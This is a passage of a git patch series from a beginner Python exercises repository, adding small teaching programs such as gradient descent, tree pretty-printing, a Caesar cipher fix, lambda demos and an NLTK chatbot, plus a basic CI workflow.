NOT change values of 'init_params' and 'max_iterations' in optimizer +## +## +## output: cost after convergence (rmse, lower the better) +## +## +## NOTE: all required modules are imported. DO NOT import new modules. +## NOTE: references are given intline +## tested on Ubuntu14.04, 22Oct2017, Abhilash Srikantha +#################################################################################### + +import numpy as np +import matplotlib.pyplot as plt +import time + +def load_data(fname): + points = np.loadtxt(fname, delimiter=',') + y_ = points[:,1] + # append '1' to account for the intercept + x_ = np.ones([len(y_),2]) + x_[:,0] = points[:,0] + # display plot + #plt.plot(x_[:,0], y_, 'ro') + #plt.xlabel('x-axis') + #plt.ylabel('y-axis') + #plt.show() + print('data loaded. x:{} y:{}'.format(x_.shape, y_.shape)) + return x_, y_ + +def evaluate_cost(x_,y_,params): + tempcost = 0 + for i in range(len(y_)): + tempcost += (y_[i] - ((params[0] * x_[i,0]) + params[1])) ** 2 + return tempcost / float(10000) + +def evaluate_gradient(x_,y_,params): + m_gradient = 0 + b_gradient = 0 + N = float(len(y_)) + for i in range(len(y_)): + m_gradient += -(2/N) * (x_[i,0] * (y_[i] - ((params[0] * x_[i,0]) + params[1]))) + b_gradient += -(2/N) * (y_[i] - ((params[0] * x_[i,0]) + params[1])) + return [m_gradient,b_gradient] + +def update_params(old_params, grad, alpha): + new_m = old_params[0] - (alpha * grad[0]) + new_b = old_params[1] - (alpha * grad[1]) + return [new_m,new_b] + +# initialize the optimizer +optimizer = {'init_params':np.array([4.5,2.0]) , + 'max_iterations':10000, + 'alpha':0.69908, + 'eps':0.0000001, + 'inf':1e10} + +# load data +x_, y_ = load_data("./data/1_points.csv") + +# time stamp +start = time.time() + +try: + # gradient descent + params = optimizer['init_params'] + old_cost = 1e10 + for iter_ in range(optimizer['max_iterations']): + # evaluate cost and gradient + cost = evaluate_cost(x_,y_,params) + grad = evaluate_gradient(x_,y_,params) + # display + if(iter_ % 10 == 0): + print('iter: {} cost: {} params: {}'.format(iter_, cost, params)) + # check convergence + if(abs(old_cost - cost) < optimizer['eps']): + break + # udpate parameters + params = update_params(params,grad,optimizer['alpha']) + old_cost = cost +except: + cost = optimizer['inf'] + +# final output +print('time elapsed: {}'.format(time.time() - start)) +print('cost at convergence: {} (lower the better)'.format(cost)) diff --git a/MachineLearning/readme.txt b/MachineLearning/readme.txt new file mode 100644 index 00000000..590f033d --- /dev/null +++ b/MachineLearning/readme.txt @@ -0,0 +1,30 @@ +The assignment consists of three problems based on basic machine learning and computer vision. +Numerous problems in these areas are well studied in statistics and applied mathematics. +Solutions are to be implemented in python by filling out required functions in each python file. +A basic framework for data i/o and evaluation is already provided (see header comments in each python file). +Please note that all required libraries are already imported so please DO NOT import anything new. + +The four problems are briefly discussed below. + +1. Gradient Descent: This is a popular optimization problem to find solutions to differentiable equations. +Typically, learning problems involve minimizing a cost function by appropriately setting model parameters. +In this task, we are given a set of (noisy) points on a line and we wish to retrieve model parameters (intercept and slope) through gradient descent. +Please refer to 'gradient_descent.py' and inline comments for further details. + +2. Eigenfaces: This is a popular application of learning a basis representation of input data. +The application of this technique is the basis for simple recognition/compression algorithms. +In this task, we want to learn orthonormal basis using PCA of images that correspond to faces. +Please refer to 'eigenfaces.py' and inline comments for further details. + +3. Classification: This is among the basic tasks of machine learning problems. +Here, we will learn a classifier to using groundtruth labels on the training data to be able to distinguish between two object classes. +You will use the scikit library to learn two classifiers (svm and random forest). +Feel free to explore the parameters of both models to maximize classifier performance. +Please refer to 'classification.py' and inline comments for further details. + +4. Disparity map: This is among the basic tasks of 3D computer vision +Here, given two differnce perspectives of the same scene, we will reconstruct an approximate of the depth map. +This is called the disparity map (higher disparity is similar to lower depth). +You will use the scikit library to implement the module. Feel free to explore the parameters 'downsample' and 'patchsize' +Please refer to disparity.py and inline comments for further details. + diff --git a/MachineLearning/version_list.txt b/MachineLearning/version_list.txt new file mode 100644 index 00000000..146455ca --- /dev/null +++ b/MachineLearning/version_list.txt @@ -0,0 +1,109 @@ +alabaster==0.7.10 +angles==1.9.11 +astroid==1.5.3 +Babel==2.5.0 +backports.weakref==1.0rc1 +bleach==1.5.0 +chardet==3.0.4 +configparser==3.5.0 +cycler==0.10.0 +decorator==4.1.2 +docutils==0.14 +entrypoints==0.2.3 +html5lib==0.9999999 +imagesize==0.7.1 +imutils==0.4.3 +ipykernel==4.6.1 +ipython==6.1.0 +ipython-genutils==0.2.0 +ipywidgets==6.0.0 +isort==4.2.15 +jedi==0.10.2 +Jinja2==2.9.6 +jsonschema==2.6.0 +jupyter==1.0.0 +jupyter-client==5.1.0 +jupyter-console==5.2.0 +jupyter-core==4.3.0 +lazy-object-proxy==1.3.1 +lxml==3.8.0 +Mako==1.0.6 +Markdown==2.6.9 +MarkupSafe==1.0 +matplotlib==2.0.2 +mistune==0.7.4 +mock==2.0.0 +mpmath==0.19 +nbconvert==5.2.1 +nbformat==4.4.0 +networkx==1.11 +nose==1.3.7 +notebook==5.0.0 +numpy==1.13.1 +numpydoc==0.7.0 +olefile==0.44 +opencv==1.0.1 +pandas==0.20.3 +pandocfilters==1.4.2 +pbr==3.1.1 +pexpect==4.2.1 +pickleshare==0.7.4 +Pillow==3.4.2 +prompt-toolkit==1.0.15 +protobuf==3.4.0 +psutil==5.2.2 +ptyprocess==0.5.2 +pycodestyle==2.3.1 +pyflakes==1.6.0 +Pygments==2.2.0 +pygpu==0.6.9 +pylint==1.7.2 +pyparsing==2.2.0 +python-dateutil==2.6.1 +python-qt-binding==0.2.19 +pytz==2017.2 +PyWavelets==0.5.2 +pyzmq==16.0.2 +qt-dotgraph==0.2.32 +qt-gui==0.2.32 +qt-gui-py-common==0.2.32 +QtAwesome==0.4.4 +qtconsole==4.3.1 +QtPy==1.3.1 +requests==2.14.2 +rope-py3k==0.9.4.post1 +rosboost-cfg==1.11.14 +rosclean==1.11.14 +roscreate==1.11.14 +rosgraph==1.11.21 +roslint==0.10.0 +roslz4==1.11.21 +rosmaster==1.11.21 +rosparam==1.11.21 +scikit-image==0.13.0 +scikit-learn==0.19.0 +scipy==0.19.1 +simplegeneric==0.8.1 +singledispatch==3.4.0.3 +six==1.10.0 +sklearn-theano==0.0.1 +smach==2.0.1 +smclib==1.7.19 +snowballstemmer==1.2.1 +Sphinx==1.6.3 +sphinxcontrib-websupport==1.0.1 +spyder==3.2.3 +sympy==1.1.1 +tensorflow==1.3.0 +tensorflow-tensorboard==0.1.5 +terminado==0.6 +testpath==0.3 +Theano==0.9.0 +tornado==4.5.2 +traitlets==4.3.2 +wcwidth==0.1.7 +webencodings==0.5 +Werkzeug==0.12.2 +widgetsnbextension==3.0.1 +wrapt==1.10.11 +xdot==2.0.1 From be26cc5c5c00b30160f390533fc633ca5d7c45c3 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 5 Nov 2019 11:27:24 +0530 Subject: [PATCH 089/101] Added github actions --- .github/workflows/pythonapp.yml | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 .github/workflows/pythonapp.yml diff --git a/.github/workflows/pythonapp.yml b/.github/workflows/pythonapp.yml new file mode 100644 index 00000000..52a8b87f --- /dev/null +++ b/.github/workflows/pythonapp.yml @@ -0,0 +1,29 @@ +name: Python application + +on: [push, pull_request] +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v1 + - name: Set up Python 3.7 + uses: actions/setup-python@v1 + with: + python-version: 3.7 + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + - name: Lint with flake8 + run: | + pip install flake8 + # stop the build if there are Python syntax errors or undefined names + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide + flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - name: Test with pytest + run: | + pip install pytest + pytest From aadc4546d4d22e47c105815f80095ca3b251dc7e Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 5 Nov 2019 11:28:24 +0530 Subject: [PATCH 090/101] Update pythonapp.yml --- .github/workflows/pythonapp.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pythonapp.yml b/.github/workflows/pythonapp.yml index 52a8b87f..d01da421 100644 --- a/.github/workflows/pythonapp.yml +++ b/.github/workflows/pythonapp.yml @@ -15,7 +15,7 @@ jobs: - name: Install dependencies run: | python -m pip install --upgrade pip - pip install -r requirements.txt + # pip install -r requirements.txt - name: Lint with flake8 run: | pip install flake8 From d20faf6c77a8c94fe414655b6f306ea508e09cf6 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 5 Nov 2019 11:36:01 +0530 Subject: [PATCH 091/101] Fixed syntax changes --- CompetitiveProgramming/CodeChef/P36_SUBGCD.py | 12 ++++++------ .../Basics_Of_Input_Output/P04_PrimeNumber.py | 2 +- .../HackerEarth/DataStructures/Arrays/P11_JumpOut.py | 2 +- CompetitiveProgramming/SPOJ/P14_MUL.py | 4 ++-- Programs/P40_CipherText.py | 4 ---- Programs/P56_Pangram.py | 2 +- 6 files changed, 11 insertions(+), 15 deletions(-) diff --git a/CompetitiveProgramming/CodeChef/P36_SUBGCD.py b/CompetitiveProgramming/CodeChef/P36_SUBGCD.py index a4d503a8..5087b840 100644 --- a/CompetitiveProgramming/CodeChef/P36_SUBGCD.py +++ b/CompetitiveProgramming/CodeChef/P36_SUBGCD.py @@ -60,11 +60,11 @@ def gcd(firstNumber, secondNumber): flag = 0 size = 0 for i in array: - currentGCD = gcd(i, currentGCD) - if currentGCD == 1: - flag = 1 - print(count) - break + currentGCD = gcd(i, currentGCD) + if currentGCD == 1: + flag = 1 + print(count) + break if flag == 0: - print(-1) + print(-1) \ No newline at end of file diff --git a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py index c491dfd1..9fa24185 100644 --- a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py +++ b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py @@ -15,7 +15,7 @@ import math userInput = int(input()) -if userInput>2 +if userInput > 2: print("2",end = ' ') for i in range(3, userInput + 2): check = 0 diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py index 4da7dc1f..acda6532 100644 --- a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py @@ -27,7 +27,7 @@ array = input().split() array = [int(i) for i in array] array.insert(0,0) -count = +count = 0 for i in range(0, check + 1): pos = array[i] + i if pos > check: diff --git a/CompetitiveProgramming/SPOJ/P14_MUL.py b/CompetitiveProgramming/SPOJ/P14_MUL.py index e1141060..735e4920 100644 --- a/CompetitiveProgramming/SPOJ/P14_MUL.py +++ b/CompetitiveProgramming/SPOJ/P14_MUL.py @@ -1,5 +1,5 @@ t = int(input()) while t>0: t-=1 - n1, n2 = map(int, raw_input().split()) - print n1*n2 + n1, n2 = map(int, input().split()) + print(n1*n2) diff --git a/Programs/P40_CipherText.py b/Programs/P40_CipherText.py index af4b2c19..3733f432 100644 --- a/Programs/P40_CipherText.py +++ b/Programs/P40_CipherText.py @@ -12,8 +12,6 @@ def encrypt(message, key): num = LETTERS.find(chars) num += key encrypted += LETTERS[num] - else: - encrypted += symbol return encrypted @@ -25,8 +23,6 @@ def decrypt(message, key): num = LETTERS.find(chars) num -= key decrypted += LETTERS[num] - else: - decrypted += symbol return decrypted diff --git a/Programs/P56_Pangram.py b/Programs/P56_Pangram.py index 2e6ff3cf..be2f31d9 100644 --- a/Programs/P56_Pangram.py +++ b/Programs/P56_Pangram.py @@ -24,7 +24,7 @@ def pangram(sentence): # A short version of above function: def pangram2(sentence): alphabet = list(map(chr, range(97, 123))) - formattedString = ''.join(c for c in string if c.isalpha()).lower() + formattedString = ''.join(c for c in sentence if c.isalpha()).lower() return set(alphabet) == set(formattedString) if __name__ == '__main__': From 1cf984af807c090154556fdf023d8c13ef33b3f2 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 5 Nov 2019 11:38:11 +0530 Subject: [PATCH 092/101] Update pythonapp.yml --- .github/workflows/pythonapp.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pythonapp.yml b/.github/workflows/pythonapp.yml index d01da421..63612d1b 100644 --- a/.github/workflows/pythonapp.yml +++ b/.github/workflows/pythonapp.yml @@ -26,4 +26,4 @@ jobs: - name: Test with pytest run: | pip install pytest - pytest + # pytest From 53f95064ee2302c9f2f26c01192e7e4a1e3e0ef1 Mon Sep 17 00:00:00 2001 From: Hanif Ali Date: Sun, 10 Nov 2019 07:25:12 +0500 Subject: [PATCH 093/101] Added Pretty Printing feature to Binary Tree Programs (#17) * Added some more functions to BinarySearchTree. -> Defining intial elements of newly created Trees -> Prettyprinting trees with left-right order and * representing null nodes. * Added pretty print to BinaryTree.py * Fixed flake8 Linting --- Programs/P43_BinarySearchTree.py | 23 ++++++++++++++++++++++- Programs/P62_BinaryTree.py | 21 +++++++++++++++++++++ 2 files changed, 43 insertions(+), 1 deletion(-) diff --git a/Programs/P43_BinarySearchTree.py b/Programs/P43_BinarySearchTree.py index d82b4330..eac303f5 100644 --- a/Programs/P43_BinarySearchTree.py +++ b/Programs/P43_BinarySearchTree.py @@ -72,9 +72,13 @@ def postorder(self): print(str(self.data), end = ' ') class Tree(object): - def __init__(self): + def __init__(self, initial_data = []): self.root = None + # If provided, add initial data + for data in initial_data: + self.insert(data) + def insert(self, data): if self.root: return self.root.insert(data) @@ -106,6 +110,22 @@ def postorder(self): print('Postorder: ') self.root.postorder() + + def pprint(self, head_node=0, _pre="", _last=True, term=False): + + head_node = self.root if head_node == 0 else head_node + + data = "*" if head_node is None else head_node.data + + print(_pre, "`- " if _last else "|- ", data, sep="") + _pre += " " if _last else "| " + + if term: return + + for i, child in enumerate([head_node.leftChild, head_node.rightChild]): + self.pprint(child, _pre, bool(i) ,term=not(bool(child))) + + if __name__ == '__main__': tree = Tree() tree.insert(10) @@ -117,6 +137,7 @@ def postorder(self): tree.insert(7) tree.insert(15) tree.insert(13) + tree.pprint() print(tree.find(1)) print(tree.find(12)) tree.preorder() diff --git a/Programs/P62_BinaryTree.py b/Programs/P62_BinaryTree.py index fe29b3a9..56a3bc17 100644 --- a/Programs/P62_BinaryTree.py +++ b/Programs/P62_BinaryTree.py @@ -38,18 +38,39 @@ def insertLeft(self,newnodeData): tree.left = self.left + + def printTree(tree): if tree != None: printTree(tree.getLeftChild()) print(tree.getnodeDataValue()) printTree(tree.getRightChild()) + +def pprint(head_node, _pre="", _last=True, term=False): + data = "*" if head_node is None else head_node.nodeData + + print(_pre, "`- " if _last else "|- ", data, sep="") + _pre += " " if _last else "| " + + if term: return + + left = head_node.getLeftChild() + right = head_node.getRightChild() + + for i, child in enumerate([left, right]): + pprint(child, _pre, bool(i) ,term=not(bool(child))) + + + + def testTree(): myTree = BinaryTree("1") myTree.insertLeft("2") myTree.insertRight("3") myTree.insertRight("4") printTree(myTree) + pprint(myTree) if __name__ == '__main__': testTree() From d968c4dcdf6f308b0276c74b796a9aaa6cbf46f7 Mon Sep 17 00:00:00 2001 From: Jayasree77 <41224416+Jayasree77@users.noreply.github.com> Date: Sun, 19 Apr 2020 19:51:11 +0530 Subject: [PATCH 094/101] Create Property_decoraters.py (#19) --- OOP/P11_Property decorators.py | 38 ++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 OOP/P11_Property decorators.py diff --git a/OOP/P11_Property decorators.py b/OOP/P11_Property decorators.py new file mode 100644 index 00000000..2489bff9 --- /dev/null +++ b/OOP/P11_Property decorators.py @@ -0,0 +1,38 @@ +#This shows the usage of property decorators + +#Python @property is one of the built-in decorators. The main purpose of any decorator is to change your class methods or attributes in such a way so that the users neeed not make any additional changes in their code. + +#Without property decorators + +class BankAccount: + def __init__(self,name,balance): + self.name=name + self.balance=balance + self.total= self.name+ " has "+self.balance+ " dollars in the account" + +user1=BankAccount("Elon Musk","10000") +user1.name="Tim cook" +print(user1.name) +print(user1.total) + +# Output: Tim cook +# Elon Musk has 10000 dollars in the account + + +#With property decorators + +class BankAccount: + def __init__(self,name,balance): + self.name=name + self.balance=balance + @property + def total(self): + return self.name+ " has "+self.balance+ " dollars in the account" + +user1=BankAccount("Elon Musk","10000") +user1.name="Tim cook" +print(user1.name) +print(user1.total) + +#Output: Tim cook +# Tim cook has 10000 dollars in the account From 5c0e4b2f140f0103f004e035d57b13348ca25c99 Mon Sep 17 00:00:00 2001 From: arun tvs Date: Thu, 7 May 2020 13:57:41 +0530 Subject: [PATCH 095/101] Add simple django project (#16) --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index ab3fef9f..c79a6c5b 100644 --- a/README.md +++ b/README.md @@ -166,6 +166,8 @@ An example of Python Lambda function Encryption/ Decryption using RSA Algorithm * [Python ftplib](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P76_PythonFTP.py) A simple Python FTP file transfer example +* [Python Django Project (beginner)](https://github.com/modernwarfareuplink/fyleBanksApi) +A simple Django Project with two endpoints to show IFSC and bank details # Donation From 2029a5ecfe7162e3cbd42ff4c75df019a23d7791 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Thu, 7 May 2020 15:01:02 +0530 Subject: [PATCH 096/101] Add files via upload --- Untitled (1).py | 174 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 Untitled (1).py diff --git a/Untitled (1).py b/Untitled (1).py new file mode 100644 index 00000000..318a38ea --- /dev/null +++ b/Untitled (1).py @@ -0,0 +1,174 @@ +#!/usr/bin/env python +# coding: utf-8 + +# # File Handling using Python + +# In[1]: + + +# open(filename, mode) + +# r - reading +# w - writing +# a - appending + + +# In[7]: + + +file = open('social.txt', 'r') +data = file.read() + +# if for + +file.close() + +print(file.closed) + + +# In[11]: + + +# context manager + +with open('social.txt', 'r') as file: + data = file.read() + +print(file.closed) + + +# In[15]: + + +with open('something.txt', 'a') as file: + file.write('MMCOE - yethe bahutanche hith!') + + +# In[18]: + + +with open('social.txt', 'r') as fd: + data = fd.read(6) # how many bytes or characters you have to read + +print(data) + + +# In[21]: + + +import os + +print(os.getcwd()) + + +# In[22]: + + +print('Original Directory:', os.getcwd()) +os.chdir('/home/omkarpathak/Documents/Notebooks') +print('Current Directory:', os.getcwd()) + + +# In[24]: + + +print(os.listdir()) + + +# In[30]: + + +files = [] + +files = os.listdir() + +# os.path.isfile(filename) # return True is it is a file, else it returns False + +for file in files: + if os.path.isfile(os.path.abspath(file)): + print('File:', file) + +for file in files: + if os.path.isdir(os.path.abspath(file)): + print('Dir:', file) + + +# In[68]: + + +os.chdir('/home/omkarpathak/Documents/PythonLecture/Naruto/Directory0') + +for i in range(10): + os.mkdir('Directory' + str(i) + str(i)) # creating a folder + os.chdir('Directory' + str(i) + str(i)) # Directory0 -> Directory1 + with open('something.txt', 'w') as file: + file.write('Text') + os.chdir('/home/omkarpathak/Documents/PythonLecture/Naruto/Directory0') + + +# In[47]: + + +os.chdir('/home/omkarpathak/Documents/PythonLecture/') + + +# In[44]: + + +mylist = ['omkar', 1, 3, 4.0] +print(mylist) + + +# In[53]: + + +word_to_check = 'hilarious' + +with open('social.txt', 'r') as file: + data = file.read() + +for line in data.split('\n'): + if word_to_check in line: + print('True') + print(line) + +print(len(data.split('\n'))) + + +# In[72]: + + +os.chdir('/home/omkarpathak/Documents/PythonLecture') +with open('social.txt', 'r') as file: + data = file.read() + +char = 'M' +# print(data.lower()) +print(data.lower().count(char.lower())) + + +# In[60]: + + +with open('social.txt', 'r') as file: + data = file.read() + +char = input('Enter a character of your choice:') + +print(data.lower().count(char)) + + +# In[76]: + + +string = 'My namename is Omkar' +print(string.count('name')) # fuzzy search + + +# In[ ]: + + +import numpy +import scipy +import matplotlib + From e0eb3f767207598895a8e86e583cf7cf1f1e60a0 Mon Sep 17 00:00:00 2001 From: Vishal Naik <59202862+Monsieurvishal@users.noreply.github.com> Date: Sun, 21 Jun 2020 11:19:28 +0530 Subject: [PATCH 097/101] alternate program update (#21) Press enter to start and stop the watch --- Programs/P19_SimpleStopWatch.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/Programs/P19_SimpleStopWatch.py b/Programs/P19_SimpleStopWatch.py index 59eec6bb..bbbff67e 100644 --- a/Programs/P19_SimpleStopWatch.py +++ b/Programs/P19_SimpleStopWatch.py @@ -14,3 +14,32 @@ endtime = time.time() print('Total Time:', round(endtime - starttime, 2),'secs') break +# Press enter to start and stop the watch +""" +import time + +print('Press Enter to begin, Press Enter again to stop') +if input()=='': + starttime = time.time() + print('Started') + while True: + val=input() #For ENTER + if val=='': + print('Stopped') + endtime = time.time() + print('Total Time:', round(endtime - starttime, 2),'secs') + break + +""" + +""" +Output: +Press Enter to begin, Press Enter again to stop + +Started + +Stopped +Total Time: 1.05 secs + +""" + From 1b303377aa3a484dd1cbdaeaa94f719cd6d40dea Mon Sep 17 00:00:00 2001 From: Vishal Naik <59202862+Monsieurvishal@users.noreply.github.com> Date: Tue, 23 Jun 2020 14:37:39 +0530 Subject: [PATCH 098/101] fixed indexing error (#23) Enter your message: vishal Enter you key [1 - 26]: 7 Encrypt or Decrypt? [E/D]: e --------------------------------------------------------------------------- IndexError Traceback (most recent call last) in 35 36 if __name__ == '__main__': ---> 37 main() in main() 30 31 if choice.lower().startswith('e'): ---> 32 print(encrypt(message, key)) 33 else: 34 print(decrypt(message, key)) in encrypt(message, key) 9 num = LETTERS.find(chars) 10 num += key ---> 11 encrypted += LETTERS[num] 12 13 return encrypted IndexError: string index out of range ______________________________________________ Above issue was solved --- Programs/P40_CipherText.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/Programs/P40_CipherText.py b/Programs/P40_CipherText.py index 3733f432..e092f31f 100644 --- a/Programs/P40_CipherText.py +++ b/Programs/P40_CipherText.py @@ -11,7 +11,10 @@ def encrypt(message, key): if chars in LETTERS: num = LETTERS.find(chars) num += key - encrypted += LETTERS[num] + if num>25: + num=num%25 + num=num-1 + encrypted =encrypted + LETTERS[num] return encrypted @@ -21,8 +24,11 @@ def decrypt(message, key): for chars in message: if chars in LETTERS: num = LETTERS.find(chars) - num -= key - decrypted += LETTERS[num] + if num>25: + num=num%25 + num=num-1 + num = num -key + decrypted =decrypted+LETTERS[num] return decrypted From 5893eca078094623e6f8e37c4958d5ec01d8dac7 Mon Sep 17 00:00:00 2001 From: Tej Pratap Yadav <60545022+tyadav4268@users.noreply.github.com> Date: Fri, 2 Oct 2020 08:56:15 +0530 Subject: [PATCH 099/101] Update P72_PythonLambda.py (#41) Added some lines to demonstrate the use of lambda function in a more compact way. for example directly passing the arguments to lambda function. --- Programs/P72_PythonLambda.py | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/Programs/P72_PythonLambda.py b/Programs/P72_PythonLambda.py index 77b2da4a..67fc8812 100644 --- a/Programs/P72_PythonLambda.py +++ b/Programs/P72_PythonLambda.py @@ -10,14 +10,24 @@ # expression using these arguments. You can assign the function to a variable to give it a name. # The following example of a lambda function returns the sum of its two arguments: -myFunc = lambda x, y: x * y -# returns 6 -print(myFunc(2, 3)) +myFunc = lambda x, y: x * y -# example to find squares of all numbers from a list +print(myFunc(2, 3)) #output: 6 + +#Here we are directly creating the function and passing the arguments +print((lambda x, y: x * y)(2, 3)) #same output i.e 6 + +print(type(lambda x, y: x * y)) #Output: + +# example to find squares of all numbers of a list myList = [i for i in range(10)] + # returns square of each number -myFunc = lambda x: x * x +myFunc2 = lambda x: x * x + +squares = list(map(myFunc2, myList)) +print(squares) # Output: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] + +print(list(map(lambda x: x * x, myList))) #same as above + -squares = list(map(myFunc, myList)) -print(squares) # [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] From 6039e35b51696cbe7c71cc4a5cfdc743b1bdef1b Mon Sep 17 00:00:00 2001 From: Yash <33280486+yash-odint@users.noreply.github.com> Date: Fri, 2 Oct 2020 09:04:58 +0530 Subject: [PATCH 100/101] Update P04_Factorial.py (#28) --- Programs/P04_Factorial.py | 1 + 1 file changed, 1 insertion(+) diff --git a/Programs/P04_Factorial.py b/Programs/P04_Factorial.py index 5798ccfa..fb297899 100644 --- a/Programs/P04_Factorial.py +++ b/Programs/P04_Factorial.py @@ -1,5 +1,6 @@ #Author: OMKAR PATHAK #This program finds the favtorial of the specified numbers +#For example, factorial of 5 = 5*4*3*2*1 = 120 def factorial(number): '''This function finds the factorial of the number passed as argument''' From ed96a4f7b2ddcad5be6c6a0f13cff89975731b77 Mon Sep 17 00:00:00 2001 From: Gunjan Kadel <86482290+GunjanKadel@users.noreply.github.com> Date: Sun, 12 Sep 2021 17:02:13 +0530 Subject: [PATCH 101/101] Added a Basic Chatbot program using Python (#76) --- Programs/Chatbot.py | 145 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 Programs/Chatbot.py diff --git a/Programs/Chatbot.py b/Programs/Chatbot.py new file mode 100644 index 00000000..7c35e985 --- /dev/null +++ b/Programs/Chatbot.py @@ -0,0 +1,145 @@ +# -*- coding: utf-8 -*- +import nltk +from nltk.chat.util import Chat, reflections + +reflections = { + "i am" : "you are", + "i was" : "you were", + "i" : "you", + "i'm" : "you are", + "i'd" : "you would", + "i've" : "you have", + "i'll" : "you will", + "my" : "your", + "you are" : "I am", + "you were" : "I was", + "you've" : "I have", + "you'll" : "I will", + "your" : "my", + "yours" : "mine", + "you" : "me", + "me" : "you", + +} +pairs = [ + [ + r"my name is (.*)", + ["Hello %1, How are you today ?",] + ], + [ + r"hi|hey|hello", + ["Hello", "Hey there",] + ], + [ + r"what is your name ?|your name|name please", + ["I am Y2K. You can call me crazy individual!",] + ], + [ + r"how are you ?|how you doing|what about you|how about you ?", + ["I'm doing good. How can I help you ?",] + ], + [ + r"sorry (.*)", + ["Its alright","Its OK, never mind",] + ], + [ + r"I am fine", + ["Great to hear that, How can I help you?",] + ], + [ + r"(.*) continents", + ["Asia, Africa, North America, South America, Antarctica, Europe, and Australia ",] + ], + [ + r"(.*) (english|hollywood) movie", + ["The Shawshank Redemption", " The Lord of the Rings: The Return of the King","Inception", "Interstellar", "Parasite", "Twilight", "Fast & Furious", "Lucky one","A walk to remember", "The Last Song", "The Notebook","The Fault in Our Stars", "Joker", "Me Before You", "All the boys have met before","Kissing booth", "Titanic",] + ], + [ + r"i'm (.*) doing good", + ["Nice to hear that","How can I help you?:)",] + ], + [ + r"(.*) age?|are you an (idiot|stupid)|what do you think you are", + ["I'm a computer program dude....Seriously you are asking me this?",] + ], + [ + r"(.*) (online|free) courses", + ["Udemy","Udacity","Great Learning","Google Digital Garage","Swayam",] + ], + [ + r"(.*) (news channel|news)", + ["BCC World News","Fox News","Cable News Network (CNN)","Sky News","MSNCB","Republic World","ZEE News","ABP News",] + ], + [ + r"(.*) (horror|spooky) movie", + ["The Nun", "Annabelle", "The conjuring", "Sinister", "The cabin in the wood", "insidious", "IT","Ouija", "Train to Busan", "The Ring", "Hush", "Evil Dead", "Oculus",] + ], + [ + r"(.*) (bollywood|hindi) movie", + ["War", "My name is Khan", "Happy new year", "Dilwale", "Uri", "Don", "Don 2", "Raees","Raazi", "Kalank", "Kalank", "Dangal", "LUDO", "Good Newz", "PK", "Jab Tak Hai Jaan","Cocktail", "Bahubali", "M.S.Dhoni", "Aashiqui 2","Dear Zindagi","Anand", "Mughal-E-Azam", "Mother India", "Don ", " Parinda", "Mr. India","Mera Naam Joker", "Amar, Akbar and Anthony", " Agneepath ", "Sahib Bibi Aur Ghulam","Sholay",] + ], + [ + r"(.*) (webseries|series)", + ["You", "Lucifer", "Cursed", "Mismatched", "Money Heist", "Stranger Things", "Merlin","The Protector", "Sabrina", "Dark", "Friends", "The Big Bang Theory", "Little Things","Lock & Key", "Sherlock", "Sweet Tooth", "The Witcher", "Shadow and Bones","Never Have i ever", "Brooklyn Nine-Nine", "Ragnarok", "Originals", "Vampire Diaries","The Order", "The Boss Baby", "The Haunting of Hill House", "Pup Academy", "Mary Queen of Scots","Bitten", "Titans", "Warrior Nun","The Haunting of bly Manor",] + ], + [ + r"(.*) k-drama", + ["descendants of the sun","busted", "her private life", "whats wrong with secretary kim","its okay to not be okay", "hospital playlist", "crash landing on you","weightlifting fairy kim bok joo", "my first first love", "beauty inside", "was it love",] + ], + [ + r"(.*) (novel|book)", + ["Harry Potter", "Twilight", "Alchemist", "Angel And Demon", "Dead Beautiful", "Lost Symbol", "The Vinche Code", "Hunger Games",] + ], + [ + r"(.*) created ?", + ["I am created using Python's NLTK library ","top secret",] + ], + [ + r"(.*) band", + ["BTS", "The Beatles", "The rolling stones", "Maroon 5", "One Direction", "No Doubt","Black Pink", "EXO", "MonstaX", "Stray Kids","The chainsmokers",] + ], + [ + r"(.*) actress", + ["Scarlett Johansson", "Jennifer Lawrence", "Emma Watson", " Margot Robbie","Angelina Jolie", "Kristen Stewart", "Rachel McAdams","Deepika Padukone", "Priyanka Chopra", "Alia Bhatt", "Kareena Kapoor","Nora Fatehi", "Jacqueline Fernandez", "Aishwarya Rai", "Sara Ali Khan", "Shraddha Kapoor","Anushka Sharma", "Disha Patani",] + ], + [ + r"(.*) (game|sport)", + ["Cricket","Hockey", "Basketball", "Football", "Baseball","Badminton", "Tennis", "Swimming", 